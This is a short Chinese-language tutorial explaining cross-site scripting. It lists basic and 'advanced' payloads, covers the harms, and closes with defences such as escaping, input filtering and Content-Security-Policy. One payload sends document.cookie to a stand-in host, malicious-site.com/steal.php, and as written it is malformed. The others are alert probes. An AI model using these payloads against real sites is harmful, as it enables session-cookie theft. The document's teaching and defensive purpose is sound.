XSS（跨站脚本攻击，Cross-Site Scripting）是指攻击者通过在受害者的浏览器中执行恶意脚本来窃取用户信息或篡改网页内容的一种攻击方式。XSS常见payload是指用于触发XSS漏洞的常用代码片段。这些payload可以通过在输入框、URL参数、cookie等用户可输入的位置插入恶意脚本，从而实现攻击者的目的。

1. 基本的XSS payload
在XSS攻击中，最常见的payload是通过在输入框中插入恶意脚本来实现攻击。这些恶意脚本可以利用浏览器对HTML页面的解析方式，来窃取用户的敏感信息、会话cookie等。下面是一些常见的基本XSS payload示例：


  <script>alert('XSS')</script>
  <img src='http://malicious-site.com/steal.php?cookie=' + document.cookie>

2. 高级的XSS payload
除了基本的XSS payload之外，攻击者还可以使用更复杂的代码来实现更隐蔽的攻击。这些payload通过利用浏览器的漏洞或特殊的HTML标签属性，来绕过一些常见的防御机制。下面是一些常见的高级XSS payload示例：


  <svg onload='javascript:alert(1)'>
  <input type='hidden' autofocus onfocus=javascript:alert(2) autofocus>

3. XSS payload的危害
XSS攻击可以导致严重的安全问题，对受害者造成巨大损失。它可以窃取用户的敏感信息，如用户名、密码、银行账户等，进而导致身份盗窃、财产损失等；也可以在受害者的网页上插入恶意代码，引导用户访问恶意网站、下载恶意文件，造成进一步的攻击。此外，XSS攻击还会破坏网站的声誉，降低用户对网站的信任度。

4. 防御XSS攻击
为了防御XSS攻击，网站开发者应该在设计和开发过程中采取一些防御措施。例如，输入检查和处理时应对所有用户输入数据进行有效的过滤和转义，避免将用户输入作为HTML代码或JavaScript代码执行。另外，还可以使用HTTP头部中的Content-Security-Policy字段来限制网页中可执行的脚本源，以减少恶意脚本的执行可能性。同时，及时更新和升级网站的相关组件和框架，以修复已知的安全漏洞。对于用户来说，应提高安全意识，不轻易点击可疑的链接或下载附件，确保使用最新的浏览器版本，减少受到XSS攻击的风险。
 

综上所述，XSS常见payload是指用于触发XSS漏洞的常用代码片段。攻击者可以通过在浏览器中执行这些恶意代码，窃取用户的信息或篡改网页内容。开发者和用户都需要密切关注XSS攻击的风险，并采取相应的防御措施，以确保网站和用户的安全。